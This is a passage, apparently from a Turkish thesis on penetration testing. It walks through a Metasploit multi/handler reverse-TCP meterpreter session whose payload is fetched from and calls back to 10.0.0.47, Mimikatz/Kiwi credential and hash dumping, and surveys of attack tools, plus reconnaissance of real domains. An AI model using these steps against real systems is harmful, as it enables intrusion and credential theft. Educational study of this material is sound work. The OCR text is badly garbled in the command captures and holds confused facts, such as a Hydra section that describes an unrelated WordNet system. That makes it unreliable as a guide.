“http://10.0.0.47/chapterdexample.exe” uzantist yazilmistir. Hedef makinenin somiiriilme
islemi gerceklestigi an metasploit payload isleyicilerini (payload handlers) ayarlayacak ve
somiiriiyli gonderecektir. Msfconsole’da ms08-067 giivenlik acig1 “reverse shell payload” (ters
baglant1 kabugu payload) ile somiiriiliirken metasploit ilk olarak 4444 numarali portu ters
baglant1 i¢in dinleyen bir isleyici (handler) ayarlar. Ancak bu noktaya kadar msfvenom ile

olusturulan payload’dan ters baglanti dinleyen higbirsey yoktur.

2.14.5. Multi/Handler modiil kullanim

Multi/Handler metasploit framework’e ait msfconsole ara yiiziinlin bir modiiliidiir. Bu modiil
isleyicilerin (handlers) kurulmasina izin vermektedir. Kotii amacli olarak kullanilacak

calistirllabilir dosya windows xp hedef makine iizerinden calistirlldiginda meterpreter
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baglantisin1 yakalayabilmek icin bir isleyiciye (handler) ihtiya¢ dogmaktadir. Multi/Handler
(coklu isleyici) modiiliinii segmek i¢in use multi/handler komutu kullanilmaktadir. Yapilacak ilk
islem multi/handler’a (¢oklu isleyici) metasploit’in hangi handler’a (isleyici) ihtiyaci oldugunu
sOylemektir. Msfvenom ile calistirlabilir zararli dosyayr olustururken kullanilan
windows/meterpreter/reverse tcp payload’inin yakalanmasi gerekmektedir. Bu islem igin “set
PAYLOAD windows/meterpreter/reverse tcp” komutu ile ilgili payload secilir. Payload
secildikten sonra “show options” komutu ile ilgili payload’in gerek duydugu opsiyon listesi

“show options” komutu ile goriintiilenmistir.

» > use multi/handler
axplolt (aelt er) > Set PAYLDAD windows/meterplreter/roverse tep
«» windows/meterpretor/reverse tep

) > show option
Module optlions (exploit/aulti/handler)

Natie  Current Setting Regubired Description

Paylosd options (uipdows/petelpreter/reverse L Pl

Nang Current Setting Reguired Descrlprion

UNC  process yes ExIt technique (Accepted . sBh, thred
, hone)

Yy Thee LIsten oddress (an Intelface nay be

yes The Listen port

Sekil 2.45. Multi Handler modiiliiniin kullanilmasi.

Sekil 2.45.°de goriilen LPORT ve LHOST opsiyon degerleri sirastyla Kali Linux makinesinin ip

adresi ve port degerleri olacaktir.

5 exploitd ! #r) > Ser LHDST 10, 0.0.47
» 10.0.6.47

S ouxplorrd ! glur) » sl LPORT 4444
> Add4

5 pxploitl ) » oxplolt

Started reverse TCP handlor on 10.0.0 474444

Sekil 2.46. Multi/Handler opsiyon ayarlart.
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Sekil 2.46.’da goriildiigii gibi metasploit’in 4444 numarali portunda ters isleyici(handler)
baglantis1 yapilandirilmis ve geri c¢agrilan payload dinlenmeye baglanmistir. Bu islemlerden
sonra windows xp hedef makinesine geri doniilebilir ve indirilmis yiiriitiilebilen dosya
caligtirilabilir. Bu dosya calistirildiktan sonra Kali Linux {izerindeki msfconsole’da yeni bir

meterpreter oturumu elde edilmistir.

2.15. Auxiliary Modiil Kullanimi

Matasploit ilk olarak bir somiirli araci olarak tasarlansa da {izerinde calisildikca metasploit
islevselligi de giderek gelistirilmis ve metasploit sadece somiirii amactyla degil farkli amaglar
iceren modiiller de icermeye baglamistir. SOmiiri amaciyla kullanilmayan bu modiiller
auxiliary(yardimc1) modiiller olarak bilinmektedir ve giivenlik acgigi tarayicilari, zafiyet
bulanikliklart ~ (Fuzzer), hizmet modiillerini reddetme gibi seyleri icermektedir.
Auxiliary(yardime1) modiiller ile somiirii(exploit) modiilleri arasindaki fark, sOmiirii
modiillerinin bir payload kullanmas1 fakat auxiliary(yardimci) modillerin payload
kullanmamasidir. Auxiliary(yardime1) modiiller i¢in bir SMB sunucusundaki dinlenen

SMBPIPE’lar listelemek i¢in “auxiliary/scanner/smb/pipe_auditor” komutu kullanilacaktir.

Lo aprlans (auxdLiary/scanner /smb/plye suditar)
Curreat Settling dequired Descriptlon
fatiare/metasplol - Tranework/data/vord L INTs/ named pipes ixt yes LIST of namesd plpes ta check

dress range or CION {dantifier
The Witdaws domaln T use for quthentlcatlo

pecliied username
1te as

Mmelry auxiilaryl

Sekil 2.47. Auxiliary modiil opsiyonlari.

Sekil 2.47.°de goriildiigi gibi “use” komutuyla bir auxiliary modiilii kullanilmigtir. Sonrasonda
“show options” komutuyla listelenmis auxiliary (yardimci) opsiyonlari, exploit (sOomiirii)
modiilleri opsiyonlarina gore farklilik gostermektedir. RHOST opsiyonu yerine modiilii
calistirmak icin birden fazla uzak ana bilgisayarin belirtilmesine izin veren “RHOSTS”

opsiyonu bulunmaktadir. Yani auxiliary (yardimci) modiiller es zamanli olarak birden fazla
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sistem ile calisabilirken exploit (somiirii) modiilleri yalnizca tek bir sistem ile caligmaktadir.
Sekil 46’da exploit(somiirii)) modiillerinde olmayan SMBDomain, SMBPass, SMBUser
opsiyonlari da goriilmektedir. SMBDomain opsiyonu hedef makine bir Domain Controller etki
alanina ait oldugu i¢in pentest.com olarak ayarlanmistir. Eger hedef makine herhangi bir etki
alanina ait olmasaydi bu opsiyon varsayilan degerde birakilabilirdi. SMBUser ve SMBPass
opsiyonlarina ise sirasiyla Domain Controller kullanici adi ve sifre degerleri verilmistir.
THREADS opsiyonu, modiilii birden fazla is pargaciginda calistirarak metasploit hizinin kontrol
edilmesini saglamaktadir. Bu asamada hedef sistem sadece bir tane olacagi icin THREADS
opsiyonu 1 olarak ayarlanmistir. RHOSTS opsiyonu hedef makinenin ip adresi olarak

ayarlanmustir.

Sekil 2.48. Auxiliary modiil opsiyonlarini ayarlama.

Yukarida goriildiigii gibi kullanilan auxiliary(yardime1) modiilii hedef makine windows xp’nin
dinlenilecek SMBPIPE’larin1 denetlemektedir. Sekil 2.48.’de mevcut tek bir SMBPIPE

bulundugu goriilmektedir.

2.16. Mimikatz ve Kiwi

Mimikatz Benjamin Delpy tarafindan yazilan hedef bilgisayardan bilgi toplamak amaciyla
kimlik bilgileri, diiz metin sifreleri, kerberos biletleri ve daha fazla modiilleri igeren post
exploitation(veri gonderme somiiriisli) islemleri i¢in sik¢a kullanilan agik kaynak kodlu bir
yardimc1 programdir. Mimikatz kullanabilmek igin hedef sistem fiizerinde bir meterpreter
oturum elde edilmesi gerekmektedir. Mimikatz windows xp isletim sistemi ve daha sonraki
stirimler i¢in islevsellik gosterse de windows 8.1 ve windows 10 isletim sistemlerindeki

islevselligi biraz kisitlidir ( Cannols ve Ghafarian, 2017).
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“Hashdump” komutu sistem kullanicilarinin hash bilgilerine ulagsmak ig¢in kullanilan bir
komuttur. Bu calismada Domain Controller’a sahip bir yapt kullanilmistir ve “hashdump”
komutu ile yerel olmayan kullanicilart ve hash bilgilerini gostermek miimkiin degildir. Bu
nedenle domain yap1 iizerindeki kullanicilari yakalayabilmek ve hash bilgilerini elde edebilmek
icin bu c¢alismada mimikatz kullanilmistir. Sekil 2.49°de goriilen mimikatz komutlar
kullanildiginda Domain iizerindeki kullanicilar ve kullanicilarin bilgilerini goriintiilemek

mumkiin olacaktir.

Sekil 2.49. Mimikatz araci yiikkleme komutu.

Sekil 2.50. Mimikatz araci kullanim bilgileri.

Sekil 2.51. Kerberos ve Wdigest kullanimu.
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Sekil 2.50.’de goriildiigli gibi Domain tizerindeki kullanicilar ve kullanici bilgileri mimikatz
aracinin Kerberos ve Wdigest komutlar ile goriintiilenmistir. Sekil 2.51.’de ise Kerberos ve
Wdigest kullanimi gosterilmektedir. Mimikatz modiilii zaman icerisnde biraz daha gelistirilerek
kiwi ad1 verilen bir uzant1 ile metasploit framework icerisine aktarilmistir. Kiwi araci da ayni
mimikatz araci gibi hedef sistem iizerinde bir meterpreter oturum elde edildigi stirece islevsellik

gostermektedir (Github,2016).

Sekil 2.52. Kiwi yiikleme komutu.

Sekil 2.53. Kiwi kullanim bilgileri.

Kiwi mimikatz ile kiyaslandiginda daha diizenli ve kullanigh bir aractir. Sekil 2.52. ve Sekil
2.53.’de goriilen creds all komutu kullanildiginda sistem {izerindeki kayitli tiim bilgilere

erismek miimkiindiir.
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Sekil 2.54. Creds_all komutu.

Sekil 2.54.’de goriildigii gibi creds all komutu kullanildiginda LM,NTLM hash bilgileri,

kullanict ve domain bilgilerine erigsim saglanmustir.

2.17. Nessus

Nessus ilk olarak Renaud Deraison tarafindan 1988 yilinda piyasaya siirlilmiis ve glinlimiizde en
yaygin olarak kullanilan giivenlik a¢181 degerlendirme {riinlerinden biridir. Nessus yiiksek hizli
kesif, yapilandirma denetimi, varlik profili olusturma, hassas veri kesfi, yama yonetimi
entegrasyonu ve gilivenli bir durus i¢in giivenlik agig1 analizlerini igermektedir. Nessus oncelikli
olarak dig giivenlik ag1 agiklarinin taramasinda kullanilir fakat bu ¢alisma kapsaminda dahili
giivenilik agig1 ve kotli amagli yazilim tespitleri i¢in de kullanilmasi miimkiindiir. Nessus birden
fazla isletim sistemini desteklediginden hem windows isletim sistemlerine hem de Kali Linux
isletim sistemlerine kurmak miimkiindiir. Nessus raporlari ayarlamak, taramak ve goriintiilemek
icin bir web ara yiizii kullanmaktadir. En biiylik giivenlik acig1 veri tabanina sahip olmasi
nedeniyle rakiplerine kiyasla daha cok tercih edilmesine neden olmaktadir. Sekil 2.55.°de
Nessus web ara ylizii ve Sekil 2.56.’da ise zafiyet taramasi 6rnegi gosterilmektedir (Kumar,

2014).
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Sekil 2.55. Nessus Web ara yiizil.

Nessus ile hedef bilgisayarin ip adresi kullanilarak, hedef bilgisayarin iizerindeki zafiyetler

taranir ve ilgili zafiyetlerin somiiriilmesi ile hedef bilgisayara ulagilmis olunur.

Sekil 2.56. Windows 10 cihazi tizerinde zafiyet taramasi.
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Sekil 2.57. Nessus zafiyet raporu.

Sekil 2.57.’de zafiyet raporunda goriilen zafiyetler hakkinda ayrintili bilgi almak icin info

butonuna basmak yeterlidir. Sekil 2.58.’de zafiyetlerin ayrintili bilgi meniisii gosterilmektedir.

Windows 10/ F lijgin 2 0107
ARy 1 benainyten
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HTTP Server Type ond Version
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Sekil 2.58. Http server type and version giivenlik aciginin ayrintilt bilgisi.
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2.18. The Harvester

The Harvester, arama motorlari, PGP anahtar sunucular1 ve SHODAN bilgisayar veri tabani
gibi farkli kamu kaynaklarindan gelen e-postalari, alt alanlari(subdomain), hostlar1, calisan
isimlerini, agik portlar1 ve bannerlar1 toplamay1 amaglayan acik kaynak kodlu python diliyle

yazilmis bir aractir (Beggs, 2014).

The Harvester, miisteri ayak izini (footprint) anlamak i¢in penetrasyon testi uzmanlarina
penetrasyon testinin ilk asamalarinda yardimci olmayi amaglamaktadir ve bir saldirganin
organizasyonu hakkinda bilgi almak i¢in olduk¢a kullanigh bir aragtir. The Harvester araci

tarafindan desteklenen kaynaklar agagidaki gibidir (Ackroyd, 2014);

e Google — emails, subdomains

e Google profilleri — ¢alisan isimleri

e Bing Arama Motoru — emails, subdomains/host isimleri, sanal hostlar
e Pgp Sunuculari — emails, subdomains/host isimleri

e LinkedIn — Calisan Isimleri

e Exalead — emails, subdomains/ host isimleri

Sekil 2.59.’de harvester ara yiizii ve opsiyonlar, Sekil 2.60.’da ise harvester araci kullanimi

gosterilmektedir.

Sekil 2.59. The Harvester ara yiizli ve opsiyonlari.
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& thenarvester -d watl.org 265 L google

Sekil 2.60. The Harvester araci kullanima.

2.19. Sqlmap

Sqlmap sql enjeksiyon hatalarini tespit etme, kullanma ve veritabani sunucularini devralma
islemini otomatiklestiren agik kaynak kodlu bir penetrasyon testi aracidir. Giiglii bir algilama
motoru, penetrasyon testi uzmani i¢in birgok uygun 6zellik ve veritabani parmak izi alma, veri
tabanindan veri alma, temel dosya sistemine erisme ve igletim sistemi lizerinden komutlari
calistirma islemine kadar uzanan genis bir anahtar yelpazesi ile birlikte gelmektedir. Sekil
2.61.”de sqlmap ara yiizli ve opsiyonlari, Sekil 2.62.’de ise sqlmap kullanimina iligkin gorseller

yer almaktadir (Patel ve Shekokar, 2015).

url=UR

u LURL
0 GOOGLEDORK

Sekil 2.61. Sqlmap ara yiizii ve opsiyonlari.
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Sekil 2.62. Sqlmap kullanima.

2.20. Wpscan

Wpscan giivenlik sorunlarini bulmak, uzak wordpress kurulumlarini taramak i¢in kullanilan
siyah kutu penetrasyon testi giivenlik ac¢igi tarama aracidir. Sekil 2.63.’de Wpscan’in very

tabani giincelleme modiilii gosterilmektedir (Mansoori, 2018).

1 By Sucul atTtn

wihicalhacklr,

Sekil 2.63. Wpscan veri tabanini giincelleme.

Sekil 2.64.’de goriildiigi gibi WPScan veri tabani giincellendikten sonra taranacak olan hedef

web sitesinin adresi yazilir ve tarama islemi baslatilir.
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targstuurdoress

Sekil 2.64. Wpscan tarama komutu.

2.21. Dnsspider

Dnsspider bir kelime listesi veya permutasyonundan faydalanan, python dilinde yazilmis ve ¢ok

hizli ¢alisan subdomainlerin ¢ok is parcacikli bir kaba kuvvet saldiranidir (Wang vd., 2013).
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2 1
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> Tools > Scanner
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Sekil 2.65. Dnsspider.py dosyasi (Nullsecurity, 2019)

Sekil 2.65.’de goriildiigii gibi nullsecurity sitesinden dnsspider.py dosyasini indirmek ve Kali

Linux iizerinde bir dnsspider dosyasi olusturmak miimkiindiir.
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Sekil 2.66. Dnsspider.py python kodlar1 (Nullsecurity, 2019).

Sekil 2.66.’da dnsspider.py python kodunun igerisinde bir bruteforce saldirisi gerg¢eklestirmek
icin birden fazla karakter mevcuttur. Burada goriildiigii gibi nullsecurity sitesinde ¢ dilinde
yazilmis hazir dnsspider scriptleri de mevcuttur. Kali Linux iizerinde ilgili dnsspider dosyasi
nano komutu ile olusturulup bir bruteforce saldirisi gerceklestirilmektedir. Kali Linux iizerinde
bir script dosyasi olusturup bruteforce saldirist gergeklestirme islemi uygulama asamasinda

yapilmustir.

2.22. Dirb

Dirb bir web uygulamasinda bulunan tiim dizin ve sayfalara (acik veya gizli) kaba kuvvet
saldiris1 gergeklestirerek dizin veya sayfalarin varligini kontrol etmek ic¢in kullanilmaktadir.
Web uygulama gelistiricisi tarafindan gizlenmis sayfa veya dizinler mevcutsa bu sayfalar dirp
tarafindan bulunur ve sizma amagch kullanilabilir. Sekil 2.67.’de dirb ara ylizii ve opsiyonlari,

Sekil 2.68.’de 6rnek dirb araci kullanim komutu goriilmektedir (Muniz, 2013).
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Sekil 2.68. Ornek bir dirb arac1 kullanim komutu.

2.23. Fimap

Fimap google iizerinde bulunan, yerel ve uzaktan dosya dahil etme hatalarmma sebep olan
dosyalar1 otomatik olarak bulabilen, hazirlayabilen, denetleyebilen ve sOmiirebilen python

diliyle yazilmis bir penetrasyon testi aracidir. Fimap sql enjeksiyon hatalar1 yerine sadece
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LFI/RFI hatalar1 i¢in sqlmap’e benzer bir kullanim i¢ermektedir. Suanda yogun bir gelistirilme

asamasinda olsa da kullanilabilir durumdadir (Muniz ve Lakhani, 2013).
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Sekil 2.70. Ornek bir Fimap arac1 kullanim komutu.
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Sekil 2.69.’da oncelikle hedef sistem lizerinde bir url adresi belirlenmis ve daha sonra bu url

adresi taranmustir. Sekil 2.70.’de 6rnek bir Fimap araci kullanim komutu goriilmektedir.

2.24. Hydra

Hydra wordnet gelistirme, dogrulama ve arama islemleri igin tasarlanmis isletim sisteminden
bagimsiz bir sistemdir. Hydra wordnet’i iligskisel bir veritabani olarak temsil eder ve wordnet
verileri igerisinde arama yapmak i¢in modal bir dil igerir. Wordnet {izerinde bilgi alimi ve
yonetimi iligkisel bir veritabani yonetim sistemi ve SQL ile gerceklestirilmektedir. Sistem,
kullanicilarin bir seferde herhangi bir sayida tek dilli kelime ag1 diizenlemesini ve aramasini ve
veri goriintiileme islemi igin kullanici dostu bir ara yiize sahiptir. Hydra sisteminde bireysel
kelime aglar1 senkronize edilerek farkli kelime aglarindaki esdeger sentezler goriintiilenebilir ve

arastirilabilir (Noro vd., 2019).

Anlagilacagi lizere Hydra sisteminin en 6nemli 6zelligi ¢ok kullanicili ve es zamanli bir erigim
Ozelligine sahip olmasidir. Kisacas1 Hydra saldirt islemleri igin sayisiz protokolii destekleyen
paralellesmis bir giris kiricisidir. Cok hizli ve esnek bir arag olmasindan dolay1 diger modiillerin
eklenmesi olduk¢a kolaydir ve wuzaktan yetkisiz erisim saglama islemini oldukca

kolaylastirmaktadir (Hofstede, 2017).

root {alianarois - ee0

Fle Edit View Septh Termmal Hed

Sekil 2.71. Hydra kullanim detaylart.
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Sekil 2.72. Ornek bir Hydra araci kullanim komutu.

Sekil 2.71.’de Hydra kullanim detaylar1 ve Sekil 2.72.”de 6rnek bir hydra araci kullanim komutu

gosterilmektedir.

2.25. Patator

Patator bruteforce saldirilarinda Hydra, Medusa, Ncrack, Metasploit modiilleri ve Nmap NSE
betiklerini kullanmaktan kaynaklanan sikintilar sonucunda ortaya ¢ikarilmistir. Patator python
dilinde yazilmis ve diger araclarla kiyaslandiginda daha giivenilir ve esnek olan ¢ok pargali bir
aractir ve bruteforce saldirilari i¢in bir¢ok modiilii desteklemektedir. Sekil 2.73.’de Patator araci

ve modiilleri goriinmektedir (Hofstede, 2017).
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Sekil 2.73. Patator aract ve modiilleri.
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2.26. Hashcat

Hashcat 200’den fazla iyilestirilmis karma algoritma igin bes benzersiz saldir1 modunu
destekleyen, diinyanin en hizli ve en gelismis sifre kurtarma aracidir. Hashcat linux, windows
ve OSX’teki CPU’lar,GPU’lar1 ve diger donamim hizlandiricilarii desteklemektedir ve
dagitilmis parola kirma islemlerini etkinlestirmeye yardimci olacak olanaklara sahiptir. Sekil

2.74.”de Hashcat’e ait kullanim detaylar1 belirtilmistir (Bair, 2018).

Hashcat  dosyalarina ve ayrintili  bilgilere  https://hashcat.net/hashcat  adresinden

ulasilabilmektedir (Hashcat, 2019).

Sekil 2.74. Hashcat kullanim detaylari.

2.27. John The Ripper

John The Ripper ilk olarak Unix sifrelerini kirmak i¢in kullanilmis, zengin 6zelliklere sahip ve
hizli ¢alisan agik kaynak kodlu bir parola kirma aracidir. John The Ripper birkag¢ sifre kirma
modunu  bir programda  birlestirmigtir ve Ozel gereksinimler igin  tamamen
yapilandirilabilmektedir. John The Ripper araci baglangigta sadece UNIX sifrelerini kirmak igin
tasarlanmis olsa da zaman igerisinde ayni kirma modunun kullanilmasina izin vererek farkli
platformlarda da ¢aligir hale gelmistir. Eski sifre kirma programlarina kiyasla John The Ripper,
crypt3-style rutinini kullanmak yerine farkli karma tiirleri ve iglemci mimarileri i¢in kendine

gore optimize edilmis modiillere sahiptir. John The Ripper’in en énemli 6zelliklerinden biri de
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cesitli islemci mimarileri i¢in (SSE2 x86,64) assembly dili yordamlarini bulundurmasidir

(Lubeck, 2013).

@ Ripper 1.8.0
y 1990
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Sekil 2.75. John The Ripper araci kullanim detaylari.

~

E ol wordlista/usr/shara/ john/passvord . Lyt rule unshadoved. 1t xt

Sekil 2.76. Ornek bir John The Ripper aract komutu.

Sekil 2.75.de John The Ripper aracit kullanim detaylar, Sekil 2.76.’da ara¢ komutu
gosterikmektedir. John The Ripper kullanilarak elde edilmis bir hash bilgisinin kirilmasi

islemleri man in the middle saldirilarinda uygulamali olarak gosterilmistir.

2.28. BurpSuite

BurpSuite Postwigger6 tarafindan yapilan bir penetrasyon test aracidir. BurpSuite durdurucu bir
proxy gibi davranir. Bu sekilde Burp Suite herhangi bir UA’da http trafigini engellemek,
goriintiilemek ve degistirmek i¢in bir proxy olarak yapilandirilabilmektedir. BurpSuite i¢in en
sik kullanilan UA’lar bir web tarayicisidir ancak Thunderbird, Skype gibi uygulamalar i¢in de
kullanilabilmektedir. Burpsuite penetrasyon testi uzmanlar1 tarafindan farkli sistemlerin
analizleri icin kullanilmaktadir ve temel islevi http mesajlarint yapilandirilmis bir sekilde
durdurmak ve goriintiilemektedir. Boylece hedef sisteme iletilen tiim mesajlara ve parametrelere

hizl1 bir genel bakis yapilmis olur. Biitiin bunlara ek olarak BurpSuite tiim iletiler iizerinde tam
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denetime izin veren bir GUI saglar (birak, ileri, tekrarla,degistir, sonra, génder v.b.). Bu 6zellik
sayesinde penetrasyon testi yapan uzmanlar farkli saldiri senaryolari tasasrlayabilir ve bunlar
Burp araciligiyla manual olarak c¢alistirabilmektedir. Basit parametre manipiilasyonlar1 Burp
tarafindan desteklenir ve karmasik senaryolari kolaylagtirmak i¢in Burp, kendisine &zel
6zellikler yazmay1 saglayan uzatma noktalari sunmaktadir. Burp uzantilar1 proxy’sinden gegen
herhangi bir http mesajin1 izleyebilir ve analiz edebilir. Sekil 2.77.’de Burp Suite ara yiizii
goriilmektedir (Mainka vd., 2015).
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Sekil 2.77. Burp Suite ara yiizii.
2.29. Maltego

Siber giivenlik verilerini gorsellestirmek ve veri iligkilerini aragtirmak i¢in kullanilan en popiiler
araglardan biri maltego’dur. Maltego bir kurulusun sahip oldugu ve islettigi ¢evreye net bir
tehdit resmi sunmak i¢in benzersiz bir platformdur. Maltegonun benzersiz avantajlarindan biri

mevcut alt yapi kapsaminda olan giivenlik sorunlarinin yani sira tek bir bagarisizlik noktasinin
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da karmasikligint ve 6nem derecesini gostermesidir. Maltego hem ag hem de kaynak temelli
kuruluslara internetin her tarafinda yayimlanan bilgileri bir araya getirmesi bakimindan
benzersiz bir bakis agist sunmaktadir. Kisacasi maltego, insanlarin, sosyal aglarin, web
sitelerinin, internet yapilarinin, domainlerin, ip adreslerinin, DNS isimlerinin, dokiiman ve
dosyalarin gergek diinya linkleri ile iligkilerini belirlemede karar vermek igin kullanilmaktadir.

Sekil 2.78.’de Maltego ara yiizii gosterilmektedir (Marx, 2014).
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Sekil 2.78. Maltego ara yiizii.

2.30 SetoolKit

SetoolKit pentestler sirasinda sosyal miihendislik saldirilart gergeklestirmek amaciyla
TrustedSec tarafindan acik kaynak kodlu ve ptyhon dilinde yazilmis bir aragtir. SET, kimlik
bilgileri, finansal bilgiler v.b. bilgilere ulagsmak icin Ozel olarak tasarlanmig e-postalari
kullanmay1 amaglayan ve web tabanli veya daha cesitli saldirilar olusturmaya yardimci olan
bir penetrasyon testi aracidir. Kali Linux iizerinde eklenmis bir halde gelmektedir. Sekil

2.79.’da SET ara yiizii gosterilmektedir (Pavkovic ve Perkoy, 2011).
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Sekil 2.79. SEToolKit (SET) ara yiizii.
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Sekil 2.80. SEToolKit saldir1 tipi segim meniisii.

Sekil 2.80.’de goriildiigli gibi set 1 komutu ile Sosyal Miihendislik Saldirist SET iizerinde

secilebilmektedir. Sekil 2.81.’de goriilen saldirt tipleri Sosyal Miihendislik Saldirilart

boliimiinde detayli olarak uygulanmustir.

Sekil 2.81. SEToolKit Ile gerceklestirilebilecek sosyal miithendislik saldir tipleri.
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2.31. Wireshark

Wireshark kurulu oldugu bilgisayar iizerinde daha dnce kaydedilmis dosyalarin incelenmesini
ve anlik network trafiginin sahip oldugu bir ara yiiz araciligiyla izlenmesini saglayan bir aragtir.
Wireshark ara yiizii sayesinde istenilen internet ara ytizii veya ilgili kart sec¢ilerek secilen ara yiiz
ve kartlarin dinleme islemi gercgeklestirilir. Wireshark ara yiizii ve kullanim sekilleri pasif bilgi

toplama asamasinda uygulanmstir. (Shimonski, 2013).
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3. UYGULANAN YONTEM VE KULLANILAN TEKNIiKLER

Bu asamada penetrasyon testinde uygulanan yontemler ve kullanilan teknikler sunulmustur.
Sekil 3.1.de saldir1 asamasindan 6nce yapilan pasif bilgi toplama, aktif bilgi toplama ve zafiyet

analizi agamalar1 sematize edilmistir.

Pasif
Bilgi

Saldiri Asamasi

Sekil 3.1. Bilgi toplama asamalar1 ve zafiyet analizleri.

3.1. Bilgi Toplama Asamasi

Bu bdéliimde penetrasyon testi uygulamasinin gercek anlamda basladigi ilk ve en 6nemli adim
olan bilgi toplama asamasi uygulamalarla gerceklestirilmistir. Bilgi toplama asamasi kendi

igerisinde pasif bilgi toplama ve aktif bilgi toplama olarak ikiye ayrilmaktadir.
3.1.1. Pasif bilgi toplama

Pasif bilgi toplama asamasinda penetrasyon testi uzmanlari, hedef aglar1 ve sistemleri hakkinda
dogrudan baglanti kurmadan olabildigince ¢ok bilgi toplamaya calismaktadir. Pasif bilgi
toplama asamasinda birgok farkli tiirde arama islemi gergeklestirilmektedir. Literatiirde
erigilebilien pasif bilgi toplama yontemleri Sekil 3.2’de sematize edilerek 6zet halinde sunulmusg

ve alt basliklarda uygulamali olarak gosterilmistir.
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Sekil 3.2. Pasif bilgi toplama yontemleri.

Sunulan pasif bilgi toplama yontemlerinin kullanimi sonucunda elde edilen bilgiler; hedef
sistemin web konfiglirasyon bilgileri, ¢alisanlarin kisisel bilgileri, arsiv sitelerinde yer alan
bilgiler, hedef sistem tarafindan gonderilen veriler, yeni gruplar ve hedef sistemin DNS

bilgilerini icerebilmektedir (Wilhelm, 2010).

Bu calismada pasif bilgi toplama islemleri i¢in Kali Linux {izerinde hedef sistemlere sirasiyla

ping, nslookup, whois, reverse whois/ip lookup, zone transfer, mail&subdomain tespiti,
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subdomain ve googlehacking yontemleri uygulanarak sistemle ilgili maksimum bilgiye

ulasiimustir.

Ping komutu

Ping komutu hedef sistem ile iletisimin saglanip saglanmadigini kontrol etmek, hedef sistemle
kurulan baglanti hizin1 6lgmek ve bir domain alaninin isaret ettigi IP adresini tespit etmek i¢in

kullanilan bir GNU/Linux ve microsoft komutudur.

Sekil 3.3. Ping komutu 1.

Sekil 3.3.’de ping komutu ile “google.com” adresine bir ICMP paketi gonderilmistir. Tlgili
domainin isaret ettigi IP adresi 216.58.206.174 olarak gosterilmistir. Ping komutunun cevap
alabilmesi hedef makine ile iletisim saglandigin1 gostermekte ve iletisim saglanan makinenin
ayakta oldugu anlamina gelmektedir. Ping komutunun hedef makineden cevap alamamas1 direk
olarak hedef makinenin ¢oktiigli anlamima gelmez. Microsoft cihazlarinda gilivenlik duvari
varsayilan olarak aciktir ve ICMP paketlerini engellemektedir. Bu durum da ping komutunun

hedef makineden cevap alamamasina sebep olmaktadir.
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Sekil 3.4. Ping komutu 2.

Sekil 3.4.de Windows XP makinesinin IP adresi kullanilmistir ve Windows XP makinesiyle

iletisim saglandig1 goriilmektedir.

Nslookup

Nslookup domain alanlarinin isaret ettigi IP adreslerini ¢oziimlemek igin kullanilan bir
script’tir. Ping komutu domain alanlariin isaret ettigi ip adresleri gosterirken ayn1 zamanda
hedef makine ile iletisimin saglanip saglanamadig, iletisim hiz1 gibi bilgileri de sunmaktadir.
Fakat nslookup yalnizca domain alanlarinin isaret ettigi ip adreslerini ¢dziimlemek amaciyla

kullanilmaktadir.

Sekil 3.5. Nslookup scripti.

Sekil 3.5.°de nslookup script’i kullanilarak digi.ninja domain alaninin isaret ettigi IP adresi

bilgisine ulagilmigtir.
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Host

Host komutu bir domain alaniin isaret ettigi IP adresini ve bir IP adresinin sahip oldugu
domain alanmi gostermek i¢in kullanilan bir komuttur. Host komutunun g¢esitli kullanim

sekilleri mevcuttur fakat bu ¢alisma kapsaminda yalnizca bu iki 6zelligi kullanilmistir.

Sekil 3.6. Host komutu.

Sekil 3.6.’da host komutu kullanilarak nmap.org domain alaninin IP adres bilgilerine ve IP
adresi kullanildiginda domain alani adina erisim saglanmistir. Linux iizerinde bir bash scripting
kullanilarak bir domain, subnet veya IP listesindeki domainlerin tespiti i¢in host komutu

kullanilabilmektedir.

Whois

Whois bir domain veya bir IP *nin sahiplik bilgilerinin 6grenildigi bir sorgu komutudur. Whois
eski bir sorgu komutudur ve yalnizca Kali Linux’a ait degildir. Domain firmalarindan domain
veya sunucu satin alinirken iletisim bilgileri de dahil olmak {izere verilen miisteri bilgileri bazi
firmalar tarafindan iicretsiz olarak gizli hale getirilirken bazi firmalar bu islemi belirli bir {icret
kargiliginda gergeklestirmektedir. Whois sorgu komutu domain veya sunucu satin alimirken
verilen bilgilerin gizli hale getirilmemesinden dolay1 bu bilgilere erisim saglayabilmektedir. Bu
bilgilere erisim internet lizerinden de gerceklestirilebilir fakat Kali Linux iizerinde bu iglemi
gerceklestirmek i¢in bir whois yazilimi mevcuttur. “whois dpu.edu.tr” komutu kullanildiginda

cikan sonug Sekil 3.7. ve 3.8.’de gosterilmektedir.
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Sekil 3.8. Whois komutu 2.

Yukaridaki sekillerde gortldiigii iizere whois komutu kullanilarak dpu.edu.tr domaininin
stiresinin ne zaman bitecegi, hangi tarihte glincellenecegi, teknik iletisim bilgisi, IP adresi gibi
bilgilere erisim saglanmistir. Burada elde edilen mail bilgisi, IP adresi sosyal miihendislik
saldirilarinda kullanilabilmektedir. Whois komutu domain adi ile kullanildig1 gibi IP adresi ile
de kullanilmaktadir. IP adresi ile kullanilan whois komutunun sonuglar1 Sekil 3.9. ve 3.10.’da

gorildigi gibidir.
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Sekil 3.10. IP adresi kullanan whois komutu 2.

Yukaridaki sekillerde goriildiigli gibi whois komutuyla IP’nin alindig1 yer bilgisi, adres bilgisi,
ilgili ip’nin dahil oldugu subnet adresi bilgilerine ulasilmistir. Elde edilen subnet bilgisi, reverse
whois islemlerinde sistem iizerinde disa acik olarak bulunan web uygulamalarmin tespitinde

veya disa agik olan sunucularin tespitinde kullanilmaktadir.

Reverse Whois/IP Lookup

Reverse Whois veya IP Lookup, herhangi bir IP iizerinde bulunan domainlerin ve IP ile ilgili
miimkiin oldugunca fazla bilginin tespitini saglamak icin kullanilan bir arama aracidir. Bu
boliimde ip lookup islemi bir internet uygulamasi kullanilarak sunulmustur. Fakat reverse whois
IP lookup islemleri google hacking bilgi toplama yonteminde de uygulanacaktir. Bu bdliimde

kullanilacak site “you get signal reverse ip lookup” tir.
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Sekil 3.11. Yougetsignal.com sitesi.

Sekil 3.11.’de yougetsignal.com sitesine herhangi bir domain veya IP adresi girilebilmektedir.
Eger domain adresi girilirse IP adresine ¢oziimler ve bu IP adresine bagli sunucular
getirmektedir. Bu yontem elde edilen subnet iizerindeki disa agik IP’lere bagli web sitelerin
bulunmasinda sik kullanilan bir yontemdir. Sekil 3.12.’de dpu.edu.tr domain adi girildiginde
sonug olarak bu domainin [P adresine bagli sunucular1 getirecektir. Ayni gorselde gortilen ilgili

